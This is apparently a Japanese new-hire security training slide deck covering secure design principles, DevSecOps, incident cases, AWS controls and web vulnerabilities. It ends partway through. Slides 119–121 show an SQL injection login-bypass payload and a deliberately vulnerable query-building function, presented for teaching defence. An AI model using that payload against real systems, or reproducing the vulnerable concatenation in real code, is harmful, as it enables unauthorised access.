セキュリティ研修　〜テクニカルパート〜（サイバーエージェント新卒研修2024）

Slide 1

Slide 1 text

24新卒エンジニア向け  セキュリティ研修  ～テクニカルパート～    2024/4  1

Slide 2

Slide 2 text

アジェンダ 1. 概要 2. 開発プロセスでのセキュリティ 3. 代表的な攻撃手法 4. 領域ごとのセキュリティ対策 5. インシデント対応

Slide 3

Slide 3 text

1 ｜概要

Slide 4

Slide 4 text

マネジメント編のおさらい  ● リスク=脅威*脆弱性*情報資産  マネジメント編のおさらい 4 脅威情報資産脆弱性リスク【参考】 ISO/IEC 27005:2022 Information technology — Security techniques — Information security risk management

Slide 5

Slide 5 text

ここからは  ● 脅威  ● 脆弱性  に対して理解を深め、  リスクを低減する手法を学びます  午前のおさらい 5 脅威情報資産脆弱性リスク

Slide 6

Slide 6 text

脅威  情報システムを通じた不正なアクセス、破壊、露出、情報の改ざん、  またはサービス停止による、組織の業務や資産、個人、その他の組織  または国家に悪影響を与える可能性のあらゆる状況またはイベント    脅威を起こす攻撃者を減らしていくというのは難しいです。。  そのため、脅威について理解することで  脅威に対して効率的、効果的な予防を行えるように準備しておきましょう    マネジメント編のおさらい 6 リスク

Slide 7

Slide 7 text

脆弱性  脅威リソースによって悪用される可能性のある情報システム、  セキュリティ手順、内部統制、または実装における固有の弱点    こちらは、エンジニアがシステムを堅牢化していくことで  減らすことが可能です  脆弱性の原因、その対策について理解してリスクを低減しましょう      マネジメント編のおさらい 7 リスク

Slide 8

Slide 8 text

改めて 8 何のためにセキュリティを意識するのか？ ● 利用者を守る ● 開発者およびチームを守る ● 企業を守る

Slide 9

Slide 9 text

改めて 9 セキュリティを守れずに、事故が発生してしまうと ● 利用者は？ ○ 個人情報などの機密データが漏洩する ○ 求めていたサービスを受けられない ○ 購入、課金した資産が無駄になる ○ サービスへの信頼を失い、利用しなくなる ● 開発者は？ ● 企業は？

Slide 10

Slide 10 text

改めて 10 セキュリティを守れずに、事故が発生してしまうと ● 利用者は？ ● 開発者は？ ○ インシデント対応に多大な時間とコストがかかる ○ 本来実装したい機能の開発スケジュールに遅れが出る ○ 不正アクセスによる大量リソースの利用による多額の請求 ○ サービスを停止する必要や、売り上げへの悪影響が出る ● 企業は？

Slide 11

Slide 11 text

改めて 11 セキュリティを守れずに、事故が発生してしまうと ● 利用者は？ ● 開発者は？ ● 企業は？ ○ 企業イメージに悪影響を与え、他のサービスにまで波及する恐れがある ○ 顧客の流出、株価の低下など経済的にダメージをうける ○ 知的財産（ソースコード、特許情報、ビジネス戦略など）が盗まれる

Slide 12

Slide 12 text

ゴール  皆さんが開発に携わるようになった際に  ● セキュリティを意識して開発を行うことができる  ● 脆弱性・インシデントへの対応策を理解している  ● インシデントに対する心構えができている  上記のことをできるようになるために、  取り組むべきことがふわっと理解できている 

Slide 13

Slide 13 text

2 ｜開発プロセスでのセキュリティ

Slide 14

Slide 14 text

開発プロセスでのセキュリティ何から始めていくのか  様々な組織が開発におけるセキュリティ向上のガイドラインを  公開しています    ● 日本の独立行政法人であるIPA  ● NPO団体で、セキュア開発を支援する団体のOWASP  が発表している資料を元に、技術的セキュリティ対策を説明します 

Slide 15

Slide 15 text

IPA (情報処理推進機構)  情報処理技術者試験で馴染みのある方も多いはず    セキュリティの分野では、  ● ガイドラインの作成  ● ソフトウェアなどの脆弱性関連情報とその対策情報を提供  ● セキュリティイベントの開催  などを行っています    【参考】 https://www.ipa.go.jp/index.html

Slide 16

Slide 16 text

OWASP (Open World Application Security Project)  OWASP Foundationという非営利団体が支援している、  ソフトウェアのセキュリティ向上を目的としたプロジェクトです    セキュアな開発ガイドラインの作成・公開、  Webアプリケーションに関する脆弱性をまとめたOWASP TOP 10、  脆弱性診断ツールやテスト用の環境などを公開しています  【参考】 https://owasp.org/

Slide 17

Slide 17 text

この章で学ぶこと  この章ではまず、IPAが公開しているセキュア・プログラミング講座  OWASPが公開しているOWASP Developer Guideを元に、  ソフトウェア開発を行う上で、脆弱性を作り込まないための  セキュアプログラミングの原則について説明します    その後、開発と運用の中にセキュリティ対策を組み込む  DevSecOpsの考え方を紹介します  【参考】 ● IPAセキュアプログラミング講座   https://www.ipa.go.jp/archive/security/vuln/programming/index.html ● OWASP Developer Guide https://owasp.org/www-project-developer-guide/release/

Slide 18

Slide 18 text

セキュアプログラミングの原則

Slide 19

Slide 19 text

セキュアプログラミングの原則脆弱性を作りこまないためのセキュア･プログラミングの原則について  設計時と実装時に分けて説明します    まずは、設計段階で意識して欲しいことについて  セキュアプログラミングの設計原則について一部抜粋して紹介します     

Slide 20

Slide 20 text

セキュアプログラミングの設計原則 ● 効率的なメカニズム ● フェイルセーフ ● 完全な仲介 ● 深層防御 ● 最小限の権限 ● 心理学的受容性 ● 既存コンポーネントの活用

Slide 21

Slide 21 text

セキュアプログラミングの設計原則 21 効率的なメカニズム複雑な設計は、 ● 開発、テスト、デバッグにおいてミスを発生する確率を高くする ● セキュリティの欠陥がわかりにくくなる ● セキュリティの対策も複雑になるというように、脆弱性が発生する可能性を高めるそのため、実装はできる限りシンプルにしようという考え方

Slide 22

Slide 22 text

セキュアプログラミングの設計原則 22 フェイルセーフシステムで不具合が発生した際には、機密性、完全性、可用性を維持するために、安全側に制御するという考え方権限管理を例えにするならば、 ● 明示的に許可がない場合には、権限を与えない禁止を基本とすることで、認証を迂回される問題などの攻撃や不具合が出た場合にも権限に関するインシデントを防ぐことができる

Slide 23

Slide 23 text

セキュアプログラミングの設計原則 23 完全な仲介システムへのすべての操作に対する認可制御を行うこと用意したセキュリティの機能が迂回されないように、認可制御を回避できないようにするべきであるモバイルアプリやJavaScriptなどによるクライアントとAPIサーバーがあるような場合にはAPIサーバーで認可制御を行うべきであり、直接APIを叩かれて認可制御を回避されることがないようにする

Slide 24

Slide 24 text

セキュアプログラミングの設計原則 24 深層防御複数層のセキュリティ対策を実装することで、攻撃に対する防御を強めるセキュリティ戦略攻撃者が一つの防御層を突破しても、他の層がシステムを保護する ● ファイアウォール ● 侵入検知システム(IDS) ● データ暗号化 ● アクセス制御などのセキュリティ対策を複数組み込むことで、セキュリティを強化する

Slide 25

Slide 25 text

セキュアプログラミングの設計原則 25 最小限の権限ユーザーやプログラムには、その業務を遂行するのに必要な最小限の権限のみが与えられるべきであるという原則不必要な権限を与えないことで、不正アクセスによる受ける被害を最小化する

Slide 26

Slide 26 text

セキュアプログラミングの設計原則 26 心理学的受容性システムに組み込むセキュリティの仕組みがユーザーや開発者にとって使いやすくなっているべきという原則ユーザーが理解しづらかったり、使いにくいようなセキュリティ機能ではユーザーはその仕組みを使わない、突破する方法を探してしまう可能性がある

Slide 27

Slide 27 text

セキュアプログラミングの設計原則 27 既存コンポーネントの活用コードや機能を再利用することで、新たな脆弱性を発生させないようにする考え方そのコンポーネントがすでにテストされているものであり、セキュリティアップデートが行われているものであれば安全であると考えられる人気のあるOSSなども多くの人によって検証されているので、安全である可能性が高い (もちろん自身でも確認するべき)

Slide 28

Slide 28 text

この章で学ぶこと  続いて、コーディング、実装を行う上で意識して欲しいこと  セキュアプログラミングの実装原則について一部抜粋して紹介します     

Slide 29

Slide 29 text

セキュアプログラミングの実装原則 ● 入力の検証 ● 他のシステムに送信するデータの無害化 ● セキュアコーディング標準を採用する

Slide 30

Slide 30 text

セキュアプログラミングの実装原則 30 入力の検証すべての信頼されていないデータソースからの入力を検証すること特に、WebアプリなどやAPIを公開する際などのユーザーが入力した値を利用する場合には注意が必要です他にも ● コマンドライン引数 ● 環境変数 ● ファイル読み込みなど

Slide 31

Slide 31 text

セキュアプログラミングの実装原則 31 他のシステムに送信するデータの無害化外部に渡すデータは渡した先で問題を起こさないように加工すること例えばWebページに表示するために値を渡すのであれば、クロスサイトスクリプティング対策を施す必要があるただし、受け取ったデータをどう処理するかを、送信する側ではわからない場合もあるため値を受け取った側で処理することも大事

Slide 32

Slide 32 text

セキュアプログラミングの実装原則 32 セキュアコーディングスタンダードに従う多くの言語、プラットフォームではセキュアコーディングを行うためのガイドラインが用意されているガイドラインに沿ってコーディングを行うことにより、属人化しない統一されたセキュリティ対策を行うことが可能になる静的コード解析ツールがIDEのプラグインとして用意されており、ローカルでコーディングを行う際にも活用することができる

Slide 33

Slide 33 text

DevSecOps

Slide 34

Slide 34 text

DevSecOps 34 DevOps 開発（Development）と運用（Operations）が密接に連携することで、開発する速度を向上させる取り組みのこと

Slide 35

Slide 35 text

DevSecOps 35 Dev code build test release deploy operate monitor plan Ops

Slide 36

Slide 36 text

DevSecOps 36 DevSecOpsとは？ DevOpsのアプローチにセキュリティ（Security）を統合し、セキュリティを確保しつつ開発スピードを損なわない開発スタイル

Slide 37

Slide 37 text

DevSecOps 37 脅威モデリングコードレビュー静的コード解析脆弱性診断不正アクセス監視ログ監査セキュアな構成 Dev code build test release deploy operate monitor plan Ops

Slide 38

Slide 38 text

DevSecOps 38 脅威モデリングコードレビュー静的コード解析脆弱性診断不正アクセス監視ログ監査セキュアな構成 Dev code build test release deploy operate monitor plan Ops

Slide 39

Slide 39 text

DevSecOps 39 脅威モデリングソフトウェア、サービスへの不正アクセスや意図しないセキュリティホールの作成を予防するために、ソフトウェアが持つべき機能を分析すること ● システムの弱点を特定すること ● 弱点を特定し、許容可能なレベルまでリスクを低減することに利用する脅威分析手法には、STRIDEやDREADというものが存在する

Slide 40

Slide 40 text

DevSecOps 40 STRIDE 脅威を６つの種類に分類して、分析を行う手法 Spoofing(スプーフィング)：攻撃者が他のユーザ/システムになりすまし可能 Tampering(改ざん)：攻撃者がデータまたはコードの改ざんができる Repudiation(否認)：攻撃者が攻撃をしていないと主張できる Information Disclosure(情報漏えい)：攻撃者が機密情報にアクセスできる Denial of Service(サービス拒否)：攻撃者がサービスを停止できる Elevation of Privilege(特権の昇格)：攻撃者が特権を取得できる【参考】 https://learn.microsoft.com/ja-jp/azure/security/develop/threat-modeling-tool-threats#stride-model

Slide 41

Slide 41 text

DevSecOps 41 脅威分析コードレビュー静的コード解析脆弱性診断不正アクセス監視ログ監査セキュアな構成 Dev code build test release deploy operate monitor plan Ops

Slide 42

Slide 42 text

コードレビュー、静的コード解析 42 コードレビュー、静的コード解析  手動またはツールを利用した自動化によって、  コードをレビュー、分析すること  この工程を行うことによって、  デプロイされる前に潜在的な脆弱性を取り除くことができる  ツールを用いた解析手法では、  ● SAST (静的アプリケーションセキュリティテスト)  ● SCA (ソフトウェアコンポジション解析)  を紹介する   

Slide 43

Slide 43 text

SAST  SAST (静的アプリケーションセキュリティテスト)  ソースコードを解析して、脆弱性をチェックする手法  実際にアプリケーションを動作させずにテストを行うため、  開発の早い段階から組み込みやすい  ● IDEのプラグインとして利用 ● CI/CDパイプラインに組み込むことで、継続的にテストを実施する 

Slide 44

Slide 44 text

SCA  SCA(ソフトウェア・コンポジション解析)  ソフトウェアに含まれるOSSやライブラリを特定して、脆弱性を特定する手法やツールのこと例えば、GitHubであれば依存関係の確認と説明されており、脆弱性のある依存関係を使用している際にアラートを通知する【参考】 https://docs.github.com/ja/code-security/supply-chain-security/understanding-your-software-supply- chain/about-dependency-review

Slide 45

Slide 45 text

DevSecOps 45 脅威分析コードレビュー静的コード解析脆弱性診断不正アクセス監視ログ監査セキュアな構成 Dev code build test release deploy operate monitor plan Ops

Slide 46

Slide 46 text

脆弱性診断 46 脆弱性診断 (DAST)  実際に動作しているシステムに対して擬似的に攻撃を行い、  その挙動から脆弱性の有無をテストすること  ● ネットワーク (FWルールの設定ミスなど)  ● ミドルウェア (設定ミスや脆弱性)  ● アプリケーション (独自に開発した部分)  のテストを行い、作成したシステムに脆弱性がないかを確認する 

Slide 47

Slide 47 text

DevSecOps 47 脅威分析コードレビュー静的コード解析脆弱性診断不正アクセス監視ログ監査セキュアな構成 Dev code build test release deploy operate monitor plan Ops

Slide 48

Slide 48 text

セキュアな構成 48 セキュアな構成  セキュリティとデータの完全性を維持するためのベストプラクティス  開発で使用する全ての環境が安全に構成されている必要がある  セキュアな構成を維持するため、  ● コードを使用したインフラ管理 IaC (Infrastructure as a Code)  ● アプリケーションのリリースプロセスの管理  ● 構成変更に対する検知  を行って、常に安全な状態が維持できていることを目指す   

Slide 49

Slide 49 text

DevSecOps 49 脅威分析コードレビュー静的コード解析脆弱性診断ログ監査不正アクセス監視セキュアな構成 Dev code build test release deploy operate monitor plan Ops

Slide 50

Slide 50 text

ログ監査 50 ログ監査  アプリケーションとそのアプリケーションが実行されている環境の  ログを収集、分析、管理するプロセス  ログを記録することで、インシデントの兆候を検出する  ● セキュリティ侵害の検出  ● 不正アクセスの試行への検知     

Slide 51

Slide 51 text

DevSecOps 51 脅威分析コードレビュー静的コード解析脆弱性診断ログ監査不正アクセス監視セキュアな構成 Dev code build test release deploy operate monitor plan Ops

Slide 52

Slide 52 text

不正アクセス監視 52 不正アクセス監視  取得したログやクラウド環境などのサービスを利用して  インシデントの兆候を検知すること  後半のインシデント対応で説明します 

Slide 53

Slide 53 text

まとめ 53 まとめ  ● 設計段階からセキュリティを意識することで、  脆弱性を埋め込まないようにしましょう  ● プロダクトを開発・運用するプロセスに  セキュリティを組み込み、安全なシステムを開発しましょう 

Slide 54

Slide 54 text

3 ｜代表的なインシデント事例

Slide 55

Slide 55 text

代表的なインシデント事例 55 ここからは、それぞれ ● クラウド環境 ● Webアプリケーション ● モバイルアプリケーションの３つに分けて、実際に発生したインシデント事例とその原因・対策について紹介します

Slide 56

Slide 56 text

クラウド環境

Slide 57

Slide 57 text

クラウド環境の誤設定による情報漏洩 57 概要  クラウドストレージやデータベースが誤って公開設定になっており、その中に含まれていた個人情報や機密情報が漏洩

Slide 58

Slide 58 text

クラウド環境の誤設定による情報漏洩 58 事例(マネジメント編のおさらい)    概要  　・車両利用者に対しナビゲーション等を提供するサービスにおいて、  　　個人情報を含むデータが、クラウド環境の誤設定により公開状態となっていた    被害（漏れた可能性のある情報）  　・情報：車載端末ID、車台番号、車両の位置情報、時刻  　・件数：約215万人分  　・期間：2013年11月6日～ 2023年4月17日（10年弱！）   

Slide 59

Slide 59 text

クラウド環境の誤設定による情報漏洩 59 影響 ● 個人情報や内部文書が外部から閲覧可能になり大規模な漏洩事故に ● データが破壊されて、サービス運営に支障が出ることも対策 ● ストレージのアクセス設定を定期的に確認して、外部からのアクセスが必要ないデータは内部からのみアクセス可能にする ● 必要なサービスやユーザーのみがデータにアクセスできるよう、最小限の権限原則を適用する

Slide 60

Slide 60 text

クラウドアカウントの乗っ取り 60 概要  ● Webアプリケーションの脆弱性をついた攻撃 ● フィッシング攻撃 ● 認証情報の漏洩 ● 退職者が在籍中に使用していたアカウントを利用するなどにより、クラウド管理アカウントがのっとられてしまう

Slide 61

Slide 61 text

クラウド環境の誤設定による情報漏洩 61 事例 WAFの設定ミスが原因で、SSRF攻撃が有効になっていた攻撃者は設定ミスを悪用し、 WAFを介してAWS EC2のインスタンスメタデータへの接続に成功被害 ● クレジットカードへの申し込みを行った消費者、中小企業に関する情報  ● 2005年～2019年初めまでの間に収集された情報が対象  ● 氏名、住所、郵便番号、電話番号、メールアドレス、生年月日、年収  ● 米国で約 1 億人、カナダで約 600 万人に被害が及んだ 

Slide 62

Slide 62 text

クラウドアカウントの乗っ取り 62 影響 ● 攻撃者が不正なリソースを作成し、 ○ コインマイニングを行われる ○ 攻撃者が別のターゲットを攻撃する際の攻撃元とされる ● クラウド環境のリソース全てが漏洩、破壊される危険性がある対策 ● アカウントの棚卸しを行う ● 多要素認証 (MFA)を利用する ● 運用するシステムの脆弱性管理

Slide 63

Slide 63 text

APIキーやシークレットの漏洩 63 概要  ● APIキーやクラウド環境のシークレットをGitHubなどに誤公開 ● ソースコードに埋め込み、Webから閲覧可能になるなどによりキーが漏洩し、攻撃者がクラウド環境へアクセス

Slide 64

Slide 64 text

APIキーの漏洩 64 影響クラウドアカウントの乗っ取りと同様に ● 攻撃者が不正なリソースを作成することが可能 ● クラウド環境のリソース全てが漏洩、破壊される危険性がある対策 ● リポジトリにAPIキーをコミットしない、した場合は即時ローテート ● 各サービスのシークレット管理の仕組みに従う ○ AWS Secret Manager ○ GitHub Secretsなど

Slide 65

Slide 65 text

Webアプリケーション

Slide 66

Slide 66 text

SQLインジェクション 66 概要  Webアプリケーションの入力フォームを通じて、不正なSQLクエリがデータベースに注入され、機密情報が抽出される

Slide 67

Slide 67 text

SQLインジェクション 67 事例の概要オンラインサービスサイトにおいて、 SQLインジェクションを利用した不正アクセスが行われた被害数万件のクレジットカード情報が漏洩【流出した可能性のあるクレジットカード情報】・クレジットカード名義人・クレジットカード番号・有効期限

Slide 68

Slide 68 text

SQLインジェクション 68 影響 ● データベースに保存されている個人情報などの流出 ● データベースに保存されている情報の改ざん、消去対策 ● 入力値のサニタイズとバリデーションを実施し、SQLクエリの実行前に不正な入力を排除する ● プリペアドステートメントを利用したSQL文の構築 ● 保存されている機密情報の暗号化

Slide 69

Slide 69 text

SSRF(サーバーサイドリクエストフォージェリ) 69 概要他サーバーへリクエスト送信する時に、送信先を指定できる脆弱性通常アクセスできない内部のサーバーへ、攻撃を仕掛けることが可能に外部公開サーバー内部サーバー

Slide 70

Slide 70 text

SSRF(サーバーサイドリクエストフォージェリ) 70 影響 ● 外部に公開していないサーバーの脆弱性をついた攻撃を受ける可能性 ● クラウド環境などでは、クレデンシャル情報が取得されることもある対策 ● 入力値のサニタイズとバリデーションを実施し、送信先を制限 ● リクエスト対象がある程度定まっている場合、ホワイトリストを作成 ● リクエスト送信先からのレスポンスをそのまま利用者に送らない

Slide 71

Slide 71 text

アクセス制御の不備 71 概要アプリケーションがユーザーやプロセスに適切に認可を行わず、不正なユーザーが保護された操作やデータにアクセスできる脆弱性例えば、他のユーザーの住所情報を閲覧、編集できてしまうなど実装の不備により、適切な認可が行われない状態になることや設計段階で、認可制御を無視した仕様にならないように気をつけましょう

Slide 72

Slide 72 text

アクセス制御の不備 72 影響 ● 他の利用者の情報へのアクセス、機密情報の漏洩 ● 本来、その利用者では実行できない機能の利用対策 ● サーバーでユーザーの認証、認可の制御を必ず行う ● 適切なポリシーの実装 ● 設計段階でのセキュリティレビュー

Slide 73

Slide 73 text

モバイルアプリケーション

Slide 74

Slide 74 text

Custom URL Schemeを利用したアクセス制限の不備 74 事例 e-Gov電子申請アプリケーションにおける Custom URL Scheme の処理にアクセス制限不備の脆弱性参考 : https://jvn.jp/jp/JVN15808274/

Slide 75

Slide 75 text

Custom URL Schemeを利用したアクセス制限の不備 75 Custom URL Schemeとは？ ● アプリの特定の機能に直接アクセスできるディープリンクの一種 ○ 各OSごとに、Universal Links,App Linksなどの実装方法がある ● myapp://~~ など指定したリンクをクリックした際に、アプリの任意の画面に遷移させることができる

Slide 76

Slide 76 text

Custom URL Schemeを利用したアクセス制限の不備  shopapp://~~ のリンクから画面を開く正規アプリを作成しストアで公開 shopapp://~~ のリンクから画面を開く偽アプリを作成しフィッシングサイト等で配布ダウンロード

Slide 77

Slide 77 text

Custom URL Schemeを利用したアクセス制限の不備  セール情報をリンクと公開 shopapp://~~ 偽アプリによる被害が発生偽アプリの入ったスマホでクリック偽アプリが開く

Slide 78

Slide 78 text

Custom URL Schemeを利用したアクセス制限の不備 78 影響 ● フィッシングサイトによる個人情報、アカウント情報の漏洩 ● アプリ、企業への信頼の喪失対策 ● OSごとの適切なディープリンクの実装 ● 遷移先のURLを検証・制限し、適切なリンク以外はエラー処理を行う

Slide 79

Slide 79 text

アプリ内課金のレシート検証不備 79 概要購入レシートの検証が適切に行われないことで、不正な購入が行われるサーバーサイドでの検証不備もありますが、特に、クライアントサイドのみで検証を実施している場合には手軽にレシート検証を迂回される恐れがあります

Slide 80

Slide 80 text

アプリ内課金のレシート検証不備  アプリストアサーバーアイテム購入購入情報購入情報検証検証結果購入処理プラットフォーム

Slide 81

Slide 81 text

アプリ内課金のレシート検証不備  アプリストアサーバーアイテム購入購入情報購入情報検証検証結果購入処理プラットフォーム

Slide 82

Slide 82 text

アプリ内課金のレシート検証不備  アプリストアサーバーアイテム購入購入情報購入情報検証検証結果購入処理プラットフォームレシート検証に不備がある場合、不正な購入処理を行われる可能性がある

Slide 83

Slide 83 text

アプリ内課金のレシート検証不備 83 影響 ● 課金が正しく行われず、サービスで本来受け取る利益が受け取れない ● 情報が公になることにより、サービスや企業に不信感を与える対策 ● クライアントサイドのみでのレシート検証を行わない ● プラットフォームごとのレシート検証メカニズムに従う

Slide 84

Slide 84 text

モバイルゲームでのチート行為 84 概要不正な手段でゲーム内アイテムを取得、スコアの改ざんを行う行為ゲームの公平性を損ない、正直なプレイヤーの体験を害する可能性がある主に以下のパターンに分類される ● メモリの改ざんによるチート行為 ● 通信の改ざんによるチート行為 ● アプリケーションの改ざんによるチート行為

Slide 85

Slide 85 text

モバイルゲームでのチート行為 85 事例サーバーに虚偽のデータを送信して、ゲーム内で使用できるアイテムを不正に入手するチート行為を実行

Slide 86

Slide 86 text

モバイルゲームでのチート行為 86 影響 ● ゲームの品質、ユーザー体験が低下する恐れがある ● ユーザー離れによるゲームの収益性に影響を及ぼす対策 ● 重要なロジックをサーバーサイドで行い、ユーザーに触れさせない ● ゲーム内の重要なパラメータは暗号化する ● サーバーへ送られるリクエストのパラメータを検証する ● チート行為に関する指標をモニタリングできる状態にして、チート行為者を特定できる状態を作る

Slide 87

Slide 87 text

まとめ  ● インシデントが発生することによりどのような被害をうけることになるのか  ● Webアプリケーションとクラウド環境や  APIサーバーとモバイルアプリケーションなどの  領域を跨いだ攻撃もあること    次章では、実際に脆弱性を防ぐための対策について  深掘って説明します 

Slide 88

Slide 88 text

4 ｜領域ごとのセキュリティ対策

Slide 89

Slide 89 text

領域ごとのセキュリティ対策 89 ここからも、それぞれ ● クラウド環境 ● Webアプリケーション ● モバイルアプリケーションの３つに分けて、実際にどのようなセキュリティ対策を施すべきなのかについて紹介します

Slide 90

Slide 90 text

クラウド環境

Slide 91

Slide 91 text

前置き  ※ 開発研修ではAWSを利用するので、  AWSの内容を中心に説明します    サイバーエージェントでは  別途AWS様によるセキュリティ研修を受けるため、  本資料には、一部のみ記載しています 

Slide 92

Slide 92 text

マネジメント編のおさらい  クラウド環境利用時のインシデントは誰の責任か？      【参考】 https://aws.amazon.com/jp/compliance/shared-responsibility-model/

Slide 93

Slide 93 text

責任共有モデル  S3における責任共有モデル  AWSの責任  ● AWS サービスを実行するインフラストラクチャを保護する責任    利用者の責任  ● オブジェクトの所有権および暗号化を含むデータの管理 ● アセットの分類 ● 適切な権限を適用したデータへのアクセスの管理 ● ディテクティブコントロールの有効化 

Slide 94

Slide 94 text

責任共有モデル AWS 責任共有モデル https://aws.amazon.com/jp/compliance/shared-responsibility-model/ GCP Google Cloud における責任の共有と運命の共有 https://cloud.google.com/architecture/framework/security/shared-responsibility-shared-fate Azure クラウドにおける共同責任 https://learn.microsoft.com/ja-jp/azure/security/fundamentals/shared-responsibility

Slide 95

Slide 95 text

AWSにおけるセキュリティ対策  ● アイデンティティとアクセス管理について  ● バケット、その他サービスのアクセス権限  ● セキュリティ機能の活用 

Slide 96

Slide 96 text

AWSにおけるセキュリティ対策  ● アイデンティティとアクセス管理について  ○ ルートアカウントを使用しない  ○ MFAによるアカウント保護  ● バケット、その他サービスのアクセス権限  ● セキュリティ機能の活用 

Slide 97

Slide 97 text

ルートアカウントを使用しない  ルートアカウントとは？  ● AWSアカウント作成時に同時に作られるアカウント  ● 全AWSサービスとリソースに無制限のアクセス権限を持つ    ルートアカウントが漏洩してしまうと、  漏洩した環境の破壊、汚染、解約などができてしまいます   

Slide 98

Slide 98 text

ルートアカウントを使用しない  ルートアカウントを守るために  ● ルートアカウントに強度なパスワードを設定する  ● ルートアカウントのアクセスキーを有効化しない  ● ルートアカウントにMFAを設定する  ● 日頃の作業は、IAMユーザー、IAMロールを利用する   

Slide 99

Slide 99 text

AWSにおけるセキュリティ対策  ● アイデンティティとアクセス管理について  ● バケット、その他サービスのアクセス権限  ○ S3バケットのアクセス権限  ○ セキュリティグループの設定  ● セキュリティ機能の活用 

Slide 100

Slide 100 text

S3バケットのアクセス権限  S3(Simple Storage Service)とは？  ● 大規模なデータストレージサービス  ● バケット単位で、オブジェクトを管理  ● 低コスト    静的ファイル、ログ、バックアップなど様々な用途で  使用することになると思います 

Slide 101

Slide 101 text

S3バケットのアクセス権限  S3のアクセス制御  ● バケットポリシーによるアクセス管理  ● Block Public Accessの設定   

Slide 102

Slide 102 text

S3バケットのアクセス権限  S3のアクセス制御  ● バケットポリシーによるアクセス管理    バケットポリシーを利用する際は、適切な権限をもつユーザーだけ  オブジェクトにアクセスをできるようにしましょう    ※ デフォルトでは無効、不要に公開範囲を広げないように    必要以上に、公開範囲の広いポリシーを適用してしまうことで  オブジェクトが外部に漏洩する可能性があります     

Slide 103

Slide 103 text

S3バケットのアクセス権限  S3のアクセス制御  ● Block Public Accessの設定  S3オブジェクトに対しての外部からの操作とS3バケットのポリシーを  外部から変更する操作をブロックしてくれる機能    デフォルトで有効になっており、不要に範囲を広げないように 

Slide 104

Slide 104 text

セキュリティグループの設定  セキュリティグループとは？  リソースに対する、イン/アウトのトラフィックを制御する機能    例えば、EC2インスタンスにセキュリティグループを紐づけると  ● インスタンスに届くトラフィック  ● インスタンスから送られるトラフィック  を制御できます   

Slide 105

Slide 105 text

セキュリティグループの設定  セキュリティグループの設定  セキュリティグループを紐づけるリソースには、  その公開範囲に応じたルールを付与しましょう    SSH、データベースなどのポートを外部に公開することにより、  誰でもアクセス可能になってしまいます    ステージング、開発環境などを制限なしに外部に公開することも  新機能の情報漏洩、不正アクセスの発端になる可能性があります 

Slide 106

Slide 106 text

Slide 107

Slide 107 text

セキュリティ機能の活用  実際にクラウド環境を利用していく上で、  環境内の悪意ある行動を検知できることが必須になります    その中で、  ● ユーザーのアクティビティやAPIの利用を記録するCloudTrail  ● 脅威検出と継続的な監視で環境を保護するGuardDuty  について説明します  AWS CloudTrail Amazon GuardDuty

Slide 108

Slide 108 text

AWS CloudTrail    AWSアカウントで行われた操作の記録を行う    設定により、ログはS3へ保存される    ２種類のイベントタイプに分類され、  ● 管理イベント (無料)  ● データイベント  が記録、保存される  AWS CloudTrail

Slide 109

Slide 109 text

AWS CloudTrail  CloudTrailでは２種類のイベントを記録します  ● リソースのCRUD操作をキャプチャする管理イベント  ○ EC2インスタンスの起動  ○ S3バケットを作成または削除する  ○ IAM認証情報の生成など  ● リソース内で実行された行動をキャプチャするデータイベント  ○ S3 オブジェクトの読み取りや書き込み  ○ AWS Lambda関数の呼び出し 

Slide 110

Slide 110 text

Amazon GuardDuty    マネージド型の脅威検出サービス    アカウント内のリソースを継続的に監視し、  悪意のあるアクティビティや不正検知を行う    Amazon GuardDuty

Slide 111

Slide 111 text

Amazon GuardDuty  GuardDutyが検知する内容の一例  ● UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS  ○ EC2インスタンスで作成された一時的なAWS認証情報が  外部IPアドレスから使用されているという検知    この検知がなされると、クレデンシャルを窃取されて攻撃に使用されている可能性がある   

Slide 112

Slide 112 text

Webアプリケーション

Slide 113

Slide 113 text

Webアプリケーションの脆弱性  どんな脆弱性があるのか？    安全なウェブサイトの作り方  https://www.ipa.go.jp/security/vuln/websecurity/ug65p900000196e2-att /000017316.pdf  OWASP TOP 10:2021  https://owasp.org/Top10/ja/  脆弱性診断項目表  https://security-portal.ssg.isca.jp/441 

Slide 114

Slide 114 text

Webアプリケーションの脆弱性  安全なウェブサイトの作り方    ● SQLインジェクション  ● OSコマンド・インジェクション  ● パス名パラメータの未チェック/ディレクトリ・トラバーサル  ● セッション管理の不備  ● クロスサイト・スクリプティング  ● CSRF(クロスサイト・リクエスト・フォージェリ)  ● HTTPヘッダ・インジェクション  ● メールヘッダ・インジェクション  ● クリックジャッキング  ● バッファオーバーフロー  ● アクセス制御や認可制御の欠落 

Slide 115

Slide 115 text

Webアプリケーションの脆弱性  OWASP TOP 10:2021    ● アクセス制御の不備  ● 暗号化の失敗  ● インジェクション  ● 安全が確認されない不安な設計  ● セキュリティの設定ミス  ● 脆弱で古くなったコンポーネント  ● 識別と認証の失敗  ● ソフトウェアとデータの整合性の不具合  ● セキュリティログとモニタリングの失敗  ● サーバーサイドリクエストフォージェリ (SSRF) 

Slide 116

Slide 116 text

SQLインジェクション  アプリケーション経由で、外部からデータベース(DB)に対して  任意のSQLコマンドが実行できる脆弱性、または攻撃 

Slide 117

Slide 117 text

SQLインジェクション  利用者はユーザーIDとパスワードを入力し、  ログインのリクエストを送信する  ユーザー Webサーバー DBサーバー https://example.com/login?user_id=hoge&password=fuga

Slide 118

Slide 118 text

SQLインジェクション  Webサーバーはユーザーが入力した値を元にクエリを組み立て、  DBサーバーへ送信します  ユーザー Webサーバー DBサーバー SELECT username FROM users WHERE user_id = 'hoge' and password = 'fuga';

Slide 119

Slide 119 text

SQLインジェクション  SQLインジェクションに対する対策がなされていないと、  攻撃者によって不正な入力を行われた際に  攻撃者 Webサーバー DBサーバー https://example.com/login?user_id=hoge&password=fuga' or '1' = '1' --;

Slide 120

Slide 120 text

SQLインジェクション  or '1' = '1' --; の条件がついたSQLクエリとなってしまい、  WHERE句が常にtrueとなり、不正ログインが可能になる  Webサーバー DBサーバー SELECT username FROM users WHERE user_id = 'hoge' and password = ' fuga' or '1' = '1' --;' 攻撃者

Slide 121

Slide 121 text

SQLインジェクション  原因  SQLのクエリ生成ロジックに問題がある      悪い例 func Login(userID, password string) User { query = "SELECT username FROM users WHERE user_id ='" + userID + "' and password ='" + password + "'" user = DB.Query(query) return user } 実際のパスワードは暗号化されて保存されるのでこのようなクエリを叩かれることはありません説明のために簡略化しています

Slide 122

Slide 122 text

